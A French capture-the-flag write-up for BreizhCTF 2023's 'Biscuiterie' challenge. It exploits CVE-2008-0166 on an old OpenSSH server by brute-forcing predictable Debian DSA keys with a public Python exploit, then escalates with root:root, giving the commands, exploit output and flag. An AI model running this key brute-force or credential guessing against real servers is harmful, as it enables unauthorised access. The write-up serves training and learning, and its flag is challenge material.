Biscuiterie

BreizhCTF 2023 - Pentest.

BreizhCTF 2023 - Biscuiterie

Challenge details

Event Challenge Category Points Solves
BreizhCTF 2023 Biscuiterie Cryptographie ??? ???

biscuit

Owen est administrateur de la célèbre biscuiterie bretonne ‘Le Poti Beurre’ fondée en 1866. Faute de budget, le parc informatique est aussi vieux que l’entreprise, et la machine d’administration d’Owen a rendu l’âme ce matin. Aidez Owen à reprendre la main sur le serveur de production de biscuits.

Voici quelques informations afin de vous aider dans votre tâche :

  • Owen administrait ses serveurs en SSH sous le nom d’utilisateur owen ;
  • N’étant pas un grand fan de mot de passe, Owen utilisait des clés SSH “sécurisées” pour chacuns de ses serveurs ;
  • Le serveur de production de la biscuiterie est un vieux serveur sous Debian.

Auteur: Zeecka

ssh -p 30010 challenge.ctf.bzh

TL;DR

Le serveur ssh est vulnérable à la CVE-2008-0166, ce qui permet à un attaquant de bruteforcer de manière optimisée les clés SSH.

Méthodologie

Dans un premier temps nous récupérons la version du serveur SSH de la biscuiterie;

$ nc biscuiterie.ctf.bzh 22

SSH-1.99-OpenSSH_4.6

En tentant de se connecter avec l’utilisateur owen, nous obtenons une première erreur:

$ ssh owen@biscuiterie.ctf.bzh

Unable to negotiate with biscuiterie.ctf.bzh port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

Cette erreur est liée à notre version de client SSH trop récente pour supporter les formats ssha-rsa et ssh-dss. DSS étant le format de clé pour DSA, nous allons ajouter les options de support pour ssh-dss à notre client.

$ ssh -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss owen@biscuiterie.ctf.bzh

owen@127.0.0.1: Permission denied (publickey).

A la première tentative, une erreur liée au fichier known_hosts peut apparaître.

Nous pouvons confirmer que le serveur requiert une authentification par clé uniquement puisqu’aucun mot de passe n’est demandé.

Un recherche avec les mots clés suivants permet de tomber sur la CVE-2008-0166.

  • OpenSSH 4.6
  • Vulnerability
  • Exploit
  • DSA
  • Key

La description de la CVE indique qu’un attaquant peut effectuer une attaque par bruteforce sur les clés SSH à cause d’un problème liée à la génération des clés.

De nombreux exploits sont displonibles à travers le web, nous alons retenir le repository github de g0tmi1k proposant la liste complète des clés DSA 1024 pour les serveurs Debian vulnérables. Le repository contient également des liens vers des scripts d’exploit dans plusieurs langages, nous allons utiliser l’exploit écrit en python 2.

Il ne suffit plus que de lancer l’exploit en spécifiant le bon utilisateur, le dossier contenant les différentes clés possibles, et le serveur vulnérable. Une modification du script peut être néncessaire pour ajouter les options -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss (l.69 à coté de -o PasswordAuthentication=no).

$ python exploit.py ./dsa/1024 biscuiterie.ctf.bzh owen

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
Tested 163 keys | Remaining 32605 keys | Aprox. Speed 32/sec
Tested 332 keys | Remaining 32436 keys | Aprox. Speed 33/sec
...
Key Found in file: ff4602062c7d74bef8830c3e850c5022-10350
Execute: ssh -lowen -p22 -i ./dsa/1024/ff4602062c7d74bef8830c3e850c5022-10350 biscuiterie.ctf.bzh

Nous pouvons ensuite nous connecter avec la commande ssh suivante :

$ ssh -l owen -oHostKeyAlgorithms=+ssh-dss -oPubkeyAcceptedAlgorithms=+ssh-dss -i ./dsa/1024/ff4602062c7d74bef8830c3e850c5022-10350 biscuiterie.ctf.bzh

$ cat flag_user.txt

Préparation : 20min
Cuisson : 10min

1. Mélanger le beurre et le sucre.
   Ajouter l’oeuf et mélanger.
   Ajouter ensuite toute la farine d'un coup et malaxer à la main.

2. Réserver la pâte au frais, emballée dans un film alimentaire pendant au moins 1 heure.

------

Flag (part 1/2): BZHCTF{75%_de_Beurre_

L’élévation de privilège se fait ensuite à l’aide des identifiants faibles root:root:

$ su root

# cat flag_root.txt

3. Etaler au rouleau sur un plan de travail fariné sur une épaisseur de 5 mm environ.
   Utiliser des emporte-pièces pour faire les découpes.

4. Enfourner pendant 10 à 12 minutes à 180°C sur une plaque recouverte de papier cuisson.

5. Placer aussitôt les sablés sur une grille pour les faire refroidir. 
   Les sablés se conservent longtemps dans une boîte en métal hermétique.

------

Flag (part 1/2): et_75%_de_Sucre}

Flag

BZHCTF{75%_de_Beurre_et_75%_de_Sucre}

Auteur: Zeecka